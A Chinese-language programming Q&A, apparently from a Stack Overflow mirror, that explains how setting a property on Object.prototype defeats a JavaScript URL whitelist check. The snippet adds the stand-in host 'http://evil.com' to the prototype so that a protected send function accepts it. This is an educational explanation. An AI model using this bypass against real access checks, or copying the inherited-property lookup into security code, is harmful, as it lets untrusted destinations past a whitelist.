我在Javascript及其基于原型的模型方面有一点经验,但是我有以下Javascript代码段,它演示了我不理解的跨站点脚本攻击问题。调用Object.prototype时发生了什么,白名单数组如何更新?
function send (u,m) {console.log(m);}
function protect ( send ) {
var whitelist ={" https :// microsoft . com / mail ":true ,
" https :// microsoft . com / owa ": true };
return function (url , msg) {
if ( whitelist [ url ]) send (url , msg);
};
} send = protect ( send );
Object . prototype [" http :// evil . com "]= true ;
send (" http :// evil . com ", " bypass !");
答案 0 :(得分:2)
调用Object.prototype时发生了什么
该行
Object.prototype [" http :// evil . com "] = true;
只会在Object.prototype
上创建一个值为true
的属性。这里没有其他事情发生。
如何更新白名单数组?
whitelist
不是数组,它是用于地图的对象。作为所有对象,它确实继承自Object.prototype
。
在调用受保护的send
函数之前,没有什么奇怪的事情发生。在那里,它会在url
上查找已通过的whitelist
作为属性。现在白名单没有这个属性(本身),所以 - 这里是原型继承发挥作用的地方 - 它检查它继承的对象。确实Object.prototype
确实有这样的属性,查找将产生true
,并且意外地满足您的条件。
演示跨站点脚本攻击问题的Javascript代码段
我不会称之为XSS攻击。它只是演示了如何强大的原型继承,以及混淆其他代码是多么容易(以及对protect
任何东西的大多数尝试都是如此)。
然而,实际的攻击媒介和您的安全问题是,首先会在您的环境中评估像Object.prototype[…]=true;
这样的恶意内容。如果你无法控制谁执行代码,那么它就不安全了。